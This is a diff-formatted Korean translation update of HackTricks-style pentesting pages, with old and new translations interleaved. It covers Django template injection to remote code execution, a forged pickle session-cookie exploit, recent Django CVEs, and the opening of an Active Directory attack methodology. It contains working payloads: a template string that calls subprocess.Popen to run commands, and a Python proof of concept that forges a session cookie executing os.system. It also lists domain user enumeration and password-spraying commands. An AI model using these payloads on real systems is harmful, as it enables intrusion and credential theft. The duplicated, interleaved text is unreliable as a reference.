유의하세요.
|
||||
|
||||
이 HackerOne 리포트는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예시를 제공합니다: https://hackerone.com/reports/1415436
|
||||
이 HackerOne 리포트는 SQLite database에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
The Django Template Language (DTL) is **Turing-complete**. 사용자 제공 데이터가 *template string*으로 렌더링되는 경우(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`이 자동 이스케이프를 제거할 때), 공격자는 SSTI를 통해 RCE를 달성할 수 있습니다.
|
||||
The Django Template Language (DTL) is **Turing-complete**. 만약 사용자 입력 데이터가 *template string*으로 렌더링된다면(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`로 자동 이스케이프가 제거되는 경우), 공격자는 SSTI → RCE를 완전히 달성할 수 있습니다.
|
||||
|
||||
### 탐지
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()` 같은 동적 호출에서 요청 데이터의 어떤 부분이라도 검증되지 않은 상태로 포함되는지 찾아보세요.
|
||||
1. `Template()` / `Engine.from_string()` / `render_to_string()`와 같이 *어떤* 미검증 요청 데이터가 포함된 동적 호출을 찾아보세요.
|
||||
2. 시간 기반 또는 산술 페이로드를 전송하세요:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
렌더된 출력에 `49`가 포함되어 있다면 입력은 템플릿 엔진에 의해 컴파일된 것입니다.
|
||||
렌더된 출력에 `49`가 포함되어 있다면 입력이 템플릿 엔진에 의해 컴파일된 것입니다.
|
||||
|
||||
### Primitive to RCE
|
||||
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python object graph에는 접근할 수 있습니다:
|
||||
### RCE로 가는 Primitive
|
||||
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python 객체 그래프에는 접근할 수 있습니다:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
`subprocess.Popen`의 인덱스(파이썬 빌드에 따라 ≈400–500)를 찾아 임의의 명령을 실행합니다:
|
||||
subprocess.Popen의 인덱스(≈400–500, Python 빌드에 따라 다름)를 찾아 임의의 명령을 실행:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
더 안전한 범용 gadget은 `cls.__name__ == 'Popen'`이 될 때까지 반복(iterate)하는 것입니다.
|
||||
더 안전한 범용 gadget은 `cls.__name__ == 'Popen'`가 될 때까지 반복하는 것이다.
|
||||
|
||||
같은 gadget은 사용자 입력을 잘못 처리하는 **Debug Toolbar** 또는 **Django-CMS**의 템플릿 렌더링 기능에서도 작동합니다.
|
||||
동일한 gadget은 사용자 입력을 잘못 처리하는 **Debug Toolbar** 또는 **Django-CMS**의 템플릿 렌더링 기능에서도 동작한다.
|
||||
|
||||
---
|
||||
|
||||
### Also see: ReportLab/xhtml2pdf PDF export RCE
|
||||
Django 기반 애플리케이션은 보통 뷰를 PDF로 내보내기 위해 xhtml2pdf/ReportLab을 통합합니다. 사용자가 제어하는 HTML이 PDF 생성으로 흘러들어가면, rl_safe_eval이 삼중 괄호 `[[[ ... ]]]` 안의 표현식을 평가해 코드 실행을 가능하게 할 수 있습니다 (CVE-2023-33733). Details, payloads, and mitigations:
|
||||
### 또한 참조: ReportLab/xhtml2pdf PDF 내보내기 RCE
|
||||
Django 기반 애플리케이션은 일반적으로 xhtml2pdf/ReportLab을 통합하여 뷰를 PDF로 내보낸다. 사용자 제어 HTML이 PDF 생성으로 흘러들어갈 때, rl_safe_eval은 삼중 괄호 `[[[ ... ]]]` 내부의 표현식을 평가하여 코드 실행을 가능하게 할 수 있다 (CVE-2023-33733). 세부사항, 페이로드, 완화 방안:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -46,12 +46,12 @@ Django 기반 애플리케이션은 보통 뷰를 PDF로 내보내기 위해 xht
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
설정 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`가 활성화되어 있거나(pickle을 deserialize하는 커스텀 serializer인 경우), Django는 어떤 view 코드도 호출하기 전에 세션 쿠키를 *decrypts and unpickles* 합니다. 따라서 유효한 signing key(기본적으로 프로젝트 `SECRET_KEY`)를 보유하고 있으면 즉시 원격 코드 실행이 가능합니다.
|
||||
## Pickle 기반 세션 쿠키 RCE
|
||||
설정 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`가 활성화되어 있거나 pickle을 역직렬화하는 커스텀 serializer가 사용되는 경우, Django는 뷰 코드를 호출하기 **전에** 세션 쿠키를 *복호화하고 unpickle(역직렬화)* 한다. 따라서 유효한 signing key(기본적으로 프로젝트의 `SECRET_KEY`)만 있으면 즉시 원격 코드 실행이 가능하다.
|
||||
|
||||
### Exploit Requirements
|
||||
* 서버가 `PickleSerializer`를 사용합니다.
|
||||
* 공격자가 `settings.SECRET_KEY`를 알고 있거나 추측할 수 있습니다 (leaks via GitHub, `.env`, error pages, etc.).
|
||||
* 서버가 `PickleSerializer`를 사용한다.
|
||||
* 공격자가 `settings.SECRET_KEY`를 알고 있거나 추측할 수 있다 (leaks via GitHub, `.env`, error pages, etc.).
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
결과 cookie를 전송하면, payload는 WSGI worker 권한으로 실행됩니다.
|
||||
결과 cookie를 전송하면 payload는 WSGI worker의 권한으로 실행됩니다.
|
||||
|
||||
**완화책**: 기본 `JSONSerializer`를 유지하고, `SECRET_KEY`를 주기적으로 교체하며, `SESSION_COOKIE_HTTPONLY`를 설정하세요.
|
||||
**Mitigations**: 기본 `JSONSerializer`를 유지하고, `SECRET_KEY`를 주기적으로 교체하며, `SESSION_COOKIE_HTTPONLY`를 설정하세요.
|
||||
|
||||
---
|
||||
|
||||
## 최근(2023-2025) 높은 영향도의 Django CVE — Pentesters가 확인해야 할 항목
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). 공격자가 newlines/ANSI codes를 로그 파일에 주입하여 하류의 로그 분석을 오염시킬 수 있습니다. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). JSON 키를 조작해 인용부호를 탈출하고 임의의 SQL을 실행할 수 있습니다. Fixed in 4.2.15 / 5.0.8.
|
||||
## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). 공격자가 로그 파일에 개행문자/ANSI 코드를 몰래 주입하여 하위 로그 분석을 오염시킬 수 있습니다. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나 임의의 SQL을 실행할 수 있습니다. Fixed in 4.2.15 / 5.0.8.
|
||||
|
||||
항상 `X-Frame-Options` 오류 페이지나 `/static/admin/css/base.css` 해시를 통해 정확한 프레임워크 버전을 식별하고, 해당되는 경우 위 항목들을 테스트하세요.
|
||||
항상 정확한 프레임워크 버전을 `X-Frame-Options` 오류 페이지나 `/static/admin/css/base.css` 해시로 식별하고, 해당되는 경우 위 항목들을 테스트하세요.
|
||||
|
||||
---
|
||||
|
||||
## 참고자료
|
||||
* Django 보안 릴리스 – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 2025년 6월 4일.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 2024년 8월 11일.
|
||||
## References
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,28 +2,28 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic overview
|
||||
## 기본 개요
|
||||
|
||||
**Active Directory**는 네트워크 관리자가 네트워크 내에서 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있게 해주는 기본 기술입니다. 대규모로 확장되도록 설계되어 많은 수의 사용자를 관리 가능한 **그룹**과 **하위 그룹**으로 조직화하고 다양한 수준에서 **액세스 권한**을 제어할 수 있습니다.
|
||||
**Active Directory**는 네트워크 내에서 **network administrators**가 **domains**, **users**, 및 **objects**를 효율적으로 생성하고 관리할 수 있게 해주는 기본 기술입니다. 대규모로 확장되도록 설계되어 많은 수의 사용자를 관리 가능한 **groups** 및 **subgroups**로 조직하고 다양한 수준에서 **access rights**를 제어할 수 있습니다.
|
||||
|
||||
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **domains**, **trees**, 그리고 **forests**. **Domain**은 공통 데이터베이스를 공유하는 **users**나 **devices**와 같은 객체들의 모음입니다. **Trees**는 공통 구조로 연결된 이러한 도메인들의 그룹이며, **forest**는 여러 트리들의 모음으로 **trust relationships**을 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 계층에서 특정 **access** 및 **communication rights**를 지정할 수 있습니다.
|
||||
**Active Directory**의 구조는 주로 세 가지 계층으로 구성됩니다: **domains**, **trees**, 그리고 **forests**. **Domain**은 공통 데이터베이스를 공유하는 **users**나 **devices**와 같은 객체들의 모음입니다. **Trees**는 공통 구조로 연결된 도메인들의 그룹이고, **forest**는 서로 **trust relationships**로 연결된 여러 trees의 집합으로 조직 구조의 최상위를 형성합니다. 각 계층에서 특정 **access** 및 **communication rights**를 지정할 수 있습니다.
|
||||
|
||||
**Active Directory**의 핵심 개념은 다음과 같습니다:
|
||||
**Active Directory**의 주요 개념은 다음과 같습니다:
|
||||
|
||||
1. **Directory** – Active Directory 객체에 관한 모든 정보를 보관합니다.
|
||||
2. **Object** – 디렉터리 내의 엔티티를 나타내며, 여기에는 **users**, **groups**, 또는 **shared folders**가 포함됩니다.
|
||||
3. **Domain** – 디렉터리 객체의 컨테이너 역할을 하며, 여러 도메인이 하나의 **forest** 내에 공존할 수 있고 각 도메인은 자체 객체 컬렉션을 유지합니다.
|
||||
1. **Directory** – Active Directory 객체와 관련된 모든 정보를 저장합니다.
|
||||
2. **Object** – 디렉토리 내의 엔티티를 의미하며, 예로는 **users**, **groups**, 또는 **shared folders**가 있습니다.
|
||||
3. **Domain** – 디렉토리 객체의 컨테이너로 작동하며, 여러 도메인이 **forest** 내에 공존할 수 있고 각 도메인은 자체 객체 컬렉션을 가집니다.
|
||||
4. **Tree** – 공통 루트 도메인을 공유하는 도메인들의 그룹입니다.
|
||||
5. **Forest** – Active Directory에서 조직 구조의 최정점으로, 여러 트리로 구성되며 그들 사이에 **trust relationships**가 존재합니다.
|
||||
5. **Forest** – Active Directory에서 조직 구조의 최상위로, 여러 trees와 그 사이의 **trust relationships**로 구성됩니다.
|
||||
|
||||
**Active Directory Domain Services (AD DS)**는 네트워크 내 중앙 집중식 관리 및 통신에 필수적인 다양한 서비스를 포함합니다. 이러한 서비스에는 다음이 포함됩니다:
|
||||
**Active Directory Domain Services (AD DS)**는 중앙 집중식 관리와 네트워크 내 통신을 위해 필수적인 여러 서비스를 포함합니다. 이 서비스들은 다음과 같습니다:
|
||||
|
||||
1. **Domain Services** – 데이터를 중앙에 저장하고 **users**와 **domains** 간의 상호작용을 관리하며 **authentication** 및 **search** 기능을 제공합니다.
|
||||
2. **Certificate Services** – 보안 **digital certificates**의 생성, 배포 및 관리를 감독합니다.
|
||||
3. **Lightweight Directory Services** – **LDAP protocol**을 통해 디렉터리 지원 애플리케이션을 지원합니다.
|
||||
4. **Directory Federation Services** – 여러 웹 애플리케이션에 대해 **single-sign-on** 기능을 제공하여 한 번의 세션으로 인증을 수행합니다.
|
||||
5. **Rights Management** – 저작권 자료의 무단 배포 및 사용을 규제하여 보호하는 데 도움을 줍니다.
|
||||
6. **DNS Service** – **domain names** 해석에 필수적입니다.
|
||||
1. **Domain Services** – 데이터를 중앙화하여 저장하고 **users**와 **domains** 간의 상호작용(예: **authentication**, **search**)을 관리합니다.
|
||||
2. **Certificate Services** – 안전한 **digital certificates**의 생성, 배포 및 관리를 담당합니다.
|
||||
3. **Lightweight Directory Services** – **LDAP protocol**을 통해 디렉토리 기반 애플리케이션을 지원합니다.
|
||||
4. **Directory Federation Services** – 여러 웹 애플리케이션에 대해 **single-sign-on**으로 사용자 인증을 제공합니다.
|
||||
5. **Rights Management** – 저작권 자료의 무단 배포 및 사용을 제어하여 보호하는 데 도움을 줍니다.
|
||||
6. **DNS Service** – **domain names**의 해석에 필수적입니다.
|
||||
|
||||
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
@ -37,7 +37,7 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke
|
||||
You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
|
||||
|
||||
> [!WARNING]
|
||||
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not Kerberos**.
|
||||
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
@ -79,7 +79,7 @@ If you just have access to an AD environment but you don't have any credentials/
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### User enumeration
|
||||
### 사용자 열거
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
|
||||
- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
|
||||
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
|
||||
```
|
||||
- **OWA (Outlook Web Access) Server**
|
||||
|
||||
네트워크에서 이러한 서버 중 하나를 찾았다면 해당 서버에 대해 **user enumeration against it**을 수행할 수도 있습니다. 예를 들어, [**MailSniper**](https://github.com/dafthack/MailSniper) 도구를 사용할 수 있습니다:
|
||||
네트워크에서 이러한 서버 중 하나를 발견했다면 **user enumeration against it**도 수행할 수 있습니다. 예를 들어, 도구 [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -114,13 +114,14 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
>
|
||||
> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
|
||||
|
||||
### 하나 또는 여러 사용자 이름을 알고 있는 경우
|
||||
### Knowing one or several usernames
|
||||
|
||||
이미 유효한 사용자 이름은 알고 있지만 비밀번호는 모를 때, 다음을 시도해 보세요:
|
||||
이미 유효한 사용자 이름은 알고 있지만 비밀번호가 없는 경우... 다음을 시도해보세요:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성을 **가지고 있지 않다면**, 해당 사용자에 대해 **AS_REP message를 요청**할 수 있습니다. 이 메시지에는 사용자의 비밀번호에서 유도된 값으로 암호화된 일부 데이터가 포함됩니다.
|
||||
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**들을 시도해보세요. 일부 사용자가 취약한 비밀번호를 사용하고 있을 수 있습니다(비밀번호 정책을 염두에 두세요!).
|
||||
- 또한 사용자의 메일 서버에 접근하기 위해 **OWA servers를 spray**할 수도 있습니다.
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대해 AS_REP 메시지를 요청할 수 있으며, 이 메시지에는 사용자의 비밀번호에서 파생된 키로 암호화된 데이터가 포함됩니다.
|
||||
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호들**을 시도해 보세요. 일부 사용자가 취약한 비밀번호를 사용하고 있을 수 있습니다(비밀번호 정책을 염두에 두세요!).
|
||||
- OWA 서버를 **spray**하여 사용자의 메일 서버 접근을 시도할 수도 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -128,7 +129,8 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
네트워크의 일부 프로토콜을 poisoning하여 crack할 수 있는 challenge hashes를 얻을 수 있을지도 모릅니다:
|
||||
네트워크의 일부 프로토콜을 **poisoning**하여 크랙할 수 있는 몇몇 챌린지 **해시**를 **획득**할 수 있을지도 모릅니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -136,74 +138,76 @@ password-spraying.md
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Active Directory를 열거할 수 있게 되면 더 많은 이메일 정보와 네트워크에 대한 이해를 얻을 수 있습니다. NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)를 강제하여 AD 환경에 접근할 수 있을지도 모릅니다.
|
||||
Active Directory를 열거하는 데 성공하면 **더 많은 이메일 주소와 네트워크에 대한 더 나은 이해**를 얻을 수 있습니다. NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)를 강제하여 AD 환경에 접근할 수도 있습니다.
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
**null or guest user**로 다른 PC나 공유에 접근할 수 있다면, SCF 파일과 같은 파일을 배치할 수 있습니다. 누군가 이 파일에 접근하면 당신을 대상으로 NTLM 인증이 트리거되어 NTLM challenge를 얻어 이를 크래킹할 수 있습니다:
|
||||
null 또는 guest 사용자로 다른 PC나 공유에 **접근**할 수 있다면, SCF 파일과 같은 파일을 **배치**할 수 있습니다. 누군가가 해당 파일에 접근하면 당신을 대상으로 하는 NTLM 인증이 **trigger**되어, 이를 통해 크랙 가능한 **NTLM challenge**를 **탈취**할 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## 자격증명/세션으로 Active Directory 열거
|
||||
## Enumerating Active Directory WITH credentials/session
|
||||
|
||||
이 단계에서는 유효한 도메인 계정의 자격증명이나 세션을 **획득(또는 탈취)** 했어야 합니다. 도메인 사용자로서 유효한 자격증명이나 쉘을 가지고 있다면, 앞서 제시된 옵션들 또한 다른 사용자를 타깃으로 삼는 데 여전히 유효하다는 점을 기억하세요.
|
||||
이 단계에서는 유효한 도메인 계정의 credentials 또는 세션을 **탈취(compromised)**한 상태여야 합니다. 도메인 사용자로서 유효한 credentials나 셸을 가지고 있다면, 앞서 제시된 옵션들은 여전히 다른 사용자를 탈취하는 데 사용할 수 있다는 것을 기억하세요.
|
||||
|
||||
인증된 열거를 시작하기 전에 **Kerberos double hop problem**이 무엇인지 알아야 합니다.
|
||||
|
||||
인증된 열거를 시작하기 전에 **Kerberos double hop problem**이 무엇인지 알고 있어야 합니다.
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
{{#endref}}
|
||||
|
||||
### 열거
|
||||
### Enumeration
|
||||
|
||||
계정을 탈취하는 것은 도메인 전체를 공격하기 위한 큰 출발점입니다. 이제 Active Directory 열거를 시작할 수 있습니다:
|
||||
계정을 탈취했다는 것은 전체 도메인을 공격하기 시작하는 데 있어 **큰 진전**입니다. 이제 **Active Directory Enumeration**을 시작할 수 있기 때문입니다:
|
||||
|
||||
ASREPRoast의 경우 이제 취약한 모든 사용자를 찾을 수 있고, Password Spraying의 경우 탈취한 계정의 비밀번호, 빈 비밀번호, 또는 새로 유력한 비밀번호들을 모든 사용자에 대해 시도해볼 수 있습니다.
|
||||
[**ASREPRoast**](asreproast.md)와 관련해서는 이제 가능한 모든 취약한 사용자를 찾을 수 있고, [**Password Spraying**](password-spraying.md)과 관련해서는 모든 사용자 이름의 **목록**을 얻어 탈취된 계정의 비밀번호, 빈 비밀번호, 또는 유망한 새 비밀번호를 시도해볼 수 있습니다.
|
||||
|
||||
- 기본 recon을 수행하려면 [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)를 사용할 수 있습니다.
|
||||
- 더 은밀하게는 [**powershell for recon**](../basic-powershell-for-pentesters/index.html)을 사용할 수 있습니다.
|
||||
- 더 상세한 정보를 추출하려면 [**use powerview**](../basic-powershell-for-pentesters/powerview.md)를 사용할 수 있습니다.
|
||||
- Active Directory recon에 매우 유용한 도구로 [**BloodHound**](bloodhound.md)가 있습니다. 수집 방법에 따라 **매우 은밀하지 않을 수 있으나**, 은밀성을 신경쓰지 않는다면 반드시 사용해 보세요. 사용자들이 RDP 접속 가능한 곳, 그룹 간 경로 등을 찾을 수 있습니다.
|
||||
- **다른 자동화된 AD 열거 도구:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD의 DNS 레코드**](ad-dns-records.md)는 흥미로운 정보를 포함하고 있을 수 있습니다.
|
||||
- GUI로 디렉터리를 열거하려면 **SysInternal** Suite의 **AdExplorer.exe**를 사용할 수 있습니다.
|
||||
- ldapsearch로 LDAP 데이터베이스를 검색해 _userPassword_ & _unixUserPassword_ 필드 또는 _Description_에서 자격증명을 찾아볼 수 있습니다. 다른 방법은 PayloadsAllTheThings의 "Password in AD User comment"를 참조하세요: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment
|
||||
- **Linux**를 사용하는 경우 [**pywerview**](https://github.com/the-useless-one/pywerview)로 도메인을 열거할 수 있습니다.
|
||||
- 자동화 도구로는 다음을 시도해 볼 수 있습니다:
|
||||
- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
|
||||
- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
|
||||
- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
|
||||
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
|
||||
- 디렉터리를 열거하는 데 사용할 수 있는 **GUI 툴**은 **SysInternal** Suite의 **AdExplorer.exe**입니다.
|
||||
- ldapsearch로 LDAP 데이터베이스를 검색하여 _userPassword_ & _unixUserPassword_ 필드나 _Description_에서 자격증명을 찾아보세요. 다른 방법은 cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment).
|
||||
- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- 다음과 같은 자동화 도구도 시도할 수 있습니다:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Extracting all domain users**
|
||||
|
||||
- **모든 도메인 사용자 추출**
|
||||
Windows에서는 `net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`로 모든 도메인 사용자 이름을 얻는 것이 매우 쉽습니다. Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
|
||||
|
||||
Windows에서 모든 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>` 등을 사용할 수 있습니다.
|
||||
|
||||
> 이 열거 섹션이 짧아 보이더라도 전체에서 가장 중요한 부분입니다. 링크들(특히 cmd, powershell, powerview 및 BloodHound)을 확인하고 도메인 열거 방법을 배우고 충분히 익숙해질 때까지 연습하세요. 평가 중에 이것이 DA로 가는 길을 찾거나 더 이상 할 수 있는 것이 없다고 판단하는 핵심 순간이 됩니다.
|
||||
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting은 사용자 계정에 연동된 서비스가 사용하는 **TGS tickets**를 획득하고, 해당 티켓의 암호화(사용자 비밀번호 기반)를 **오프라인**으로 크랙하는 기법입니다.
|
||||
Kerberoasting은 사용자 계정에 연결된 서비스가 사용하는 **TGS tickets**를 획득하고, 사용자 비밀번호에 기반한 암호화를 **오프라인으로** 크랙하는 것을 포함합니다.
|
||||
|
||||
More about this in:
|
||||
|
||||
자세한 내용은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
kerberoast.md
|
||||
{{#endref}}
|
||||
|
||||
### 원격 연결 (RDP, SSH, FTP, Win-RM, 등)
|
||||
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
자격증명을 얻었다면 특정 **머신**에 접근 가능한지 확인해 보세요. 포트 스캔 결과에 따라 여러 서버에 서로 다른 프로토콜로 연결을 시도하려면 **CrackMapExec**를 사용할 수 있습니다.
|
||||
일단 자격증명을 얻었다면 어떤 **machine**에 접근할 수 있는지 확인해보세요. 포트 스캔 결과에 따라 여러 서버에 대해 다양한 프로토콜로 연결을 시도하기 위해 **CrackMapExec**를 사용할 수 있습니다.
|
||||
|
||||
### Local Privilege Escalation
|
||||
|
||||
일반 도메인 사용자 자격증명이나 세션을 탈취했고 해당 사용자로 도메인 내 어떤 머신에 접근할 수 있다면, 로컬 권한 상승을 시도하고 자격증명을 찾아 약탈해야 합니다. 로컬 관리자 권한이 있어야만 다른 사용자의 해시를 메모리(LSASS)나 로컬(SAM)에서 덤프할 수 있기 때문입니다.
|
||||
일반 도메인 사용자로서 credentials 또는 세션을 탈취했고, 이 사용자로 도메인의 어떤 머신에든 **접근**할 수 있다면 로컬에서 권한을 상승시키고 자격증명을 수집하는 방법을 찾아보세요. 로컬 관리자 권한이 있어야만 메모리(LSASS)나 로컬(SAM)에서 다른 사용자들의 해시를 덤프할 수 있습니다.
|
||||
|
||||
이 책에는 [**Windows의 local privilege escalation**](../windows-local-privilege-escalation/index.html)에 관한 전체 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
|
||||
이 책에는 [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html)에 관한 전체 페이지와 [**checklist**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
|
||||
|
||||
### Current Session Tickets
|
||||
|
||||
현재 사용자에게 예기치 않은 리소스에 대한 접근 권한을 주는 **tickets**가 있을 가능성은 매우 **낮지만**, 확인해 볼 수 있습니다:
|
||||
현재 사용자 세션에서 예기치 않은 리소스에 접근할 수 있는 권한을 주는 **tickets**를 찾을 가능성은 매우 **낮습니다**, 그러나 확인해볼 수 있습니다:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
